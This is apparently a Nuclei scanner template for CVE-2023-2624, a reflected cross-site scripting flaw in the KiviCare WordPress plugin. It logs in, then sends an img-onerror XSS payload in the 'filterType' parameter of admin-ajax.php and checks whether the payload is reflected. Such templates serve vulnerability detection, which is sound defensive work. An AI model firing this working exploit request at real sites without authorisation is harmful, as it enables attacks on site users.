id: CVE-2023-2624

info:
  name: KiviCare WordPress Plugin - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/dc3a841d-a95b-462e-be4b-acaa44e77264
    - http://packetstormsecurity.com/files/174895/WordPress-KiviCare-3.2.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2624
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2624
    epss-score: 0.01156
    epss-percentile: 0.63909
    cpe: cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: iqonic
    product: kivicare
    framework: wordpress
  tags: cve,cve2023,kivicare,wp,wp-plugin,wordpress,wpscan,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src onerror=alert(document.domain)> appointment'
          - 'status":true'
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220517057d9ce2952772417b19d64ea78e3ea839b22925b94f03140c45e53a4ccb00220451310416507f95fff3e7b39ce411c47d712b7aee5cc6a2a46d5f3fbf0c79fca:922c64590222798bb761d5b6d8e72950